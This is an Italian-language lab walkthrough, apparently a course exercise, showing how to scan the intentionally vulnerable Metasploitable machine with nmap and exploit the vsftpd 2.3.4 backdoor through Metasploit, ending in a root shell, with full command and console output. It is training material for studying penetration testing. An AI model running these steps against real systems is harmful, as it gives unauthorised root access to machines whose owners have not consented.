

Cambiamo indirizzo ip a Metasploitable come richiesto dalla traccia:

```
msfadmin@metasploitable:~$ ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:9b:54:e5
          inet addr:192.168.1.149  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe9b:54e5/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:73 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:0 (0.0 B)  TX bytes:5130 (5.0 KB)
          Base address:0xd020 Memory:f0200000-f0220000
```

Lanciamo poi una scansione sulla macchina Metasploitable per rivedere rapidamente i servizi attivi (che sappiamo essere vulnerabili)

```
(kali@kali)-[~]
$ nmap -sV 192.168.1.149
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-04 07:51 EST
Nmap scan report for 192.168.1.149
Host is up (0.036s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rexecd
513/tcp   open  login?
514/tcp   open  shell        Netkit rshd
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
1524/tcp  open  bindshell    Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql?
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN
; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at http
s://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 186.93 seconds
```

Torniamo sulla nostra MSFConsole e vediamo se esiste un exploit per il servizio «vsftpd». Possiamo fare una ricerca con il comando «search» seguito dal nome del servizio.

```
msf6 > search vsftpd
```

Matching Modules

#	Name	Disclosure Date	Rank	Check
0	auxiliary/dos/ftp/vsftpd_232 VSFTPD 2.3.2 Denial of Service	2011-02-03	normal	Yes
1	exploit/unix/ftp/vsftpd_234_backdoor VSFTPD v2.3.4 Backdoor Command Execution	2011-07-03	excellent	No

Interact with a module by name or index. For example `info 1`, `use 1` or `use exploit/unix/ftp/vsftpd_234_backdoor`

```
msf6 >
```

Utilizziamo il comando «use» seguito dal path dell'exploit per utilizzarlo, come in figura. Successivamente, utilizziamo il comando «show options» per capire quali parametri devono essere configurati.

```
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show option
[-] Invalid parameter "option", use "show -h" for more information
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
```

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

Name	Current Setting	Required	Description
CHOST		no	The local client address
CPORT		no	The local client port
Proxies		no	A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS		yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	21	yes	The target port (TCP)

Payload options (cmd/unix/interact):

Name	Current Setting	Required	Description
Id			
0	Automatic		

Exploit target:

Id	Name
0	Automatic

View the full module info with the `info`, or `info -d` command.

Come vedete l'indirizzo della macchina vittima (RHOSTS) è necessario. Possiamo configurarlo con il comando «set».

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhosts 192.168.1.149
rhosts => 192.168.1.149
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):
```

Name	Current Setting	Required	Description
CHOST		no	The local client address
CPORT		no	The local client port
Proxies		no	A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS	192.168.1.149	yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	21	yes	The target port (TCP)

```

Payload options (cmd/unix/interact):

  Name  Current Setting  Required  Description
  --  --  --  --
  0     Automatic

Exploit target:

  Id  Name
  --  --
  0    Automatic

View the full module info with the info, or info -d command.
```

Una volta fatto, ricontrolliamo le opzioni necessarie con il comando «show options» per vedere se abbiamo inserito tutte quelle necessarie. Il campo RHOSTS è stato quindi correttamente inserito.

Ci resta da scegliere e configurare il payload. La prima cosa da fare è vedere quali payload sono disponibili per l'exploit che abbiamo scelto. Possiamo controllarlo utilizzando il comando «show payloads»

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show payloads

Compatible Payloads
```

#	Name	Disclosure Date	Rank	Check	Description
0	payload/cmd/unix/interact		normal	No	Unix Command, Interact with Established Connection

Eseguiamo un secondo «show options» per verificare i parametri necessari per eseguire il payload.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):
```

Name	Current Setting	Required	Description
CHOST		no	The local client address
CPORT		no	The local client port
Proxies		no	A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS	192.168.1.149	yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	21	yes	The target port (TCP)

```

Payload options (cmd/unix/interact):

  Name  Current Setting  Required  Description
  ----  -
  0     Automatic

Exploit target:

  Id  Name
  --  --
  0   Automatic

```

Lanciamo l'attacco con il comando «exploit»:

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.1.149:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.149:21 - USER: 331 Please specify the password.
[+] 192.168.1.149:21 - Backdoor service has been spawned, handling...
[+] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.100:42827 → 192.168.1.149:6200) at 2024-03-04 08:03:00 -0500
```

Una sessione è stata aperta, abbiamo una shell sul sistema remoto.

Proviamo quindi ad eseguire «ifconfig» che ci restituirà, se è andato a buon fine la procedura,

l'indirizzo ip di Metasploitable.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.1.149:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 192.168.1.149:21 - USER: 331 Please specify the password.
[+] 192.168.1.149:21 - Backdoor service has been spawned, handling...
[+] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.100:42827 → 192.168.1.149:6200) at 2024-03-04 08:03:00 -0500

ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:9b:54:e5
          inet addr:192.168.1.149  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe9b:54e5/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:1730 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1843 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:137384 (134.1 KB)  TX bytes:144046 (140.6 KB)
          Base address:0xd020  Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:411 errors:0 dropped:0 overruns:0 frame:0
          TX packets:411 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:133481 (130.3 KB)  TX bytes:133481 (130.3 KB)
```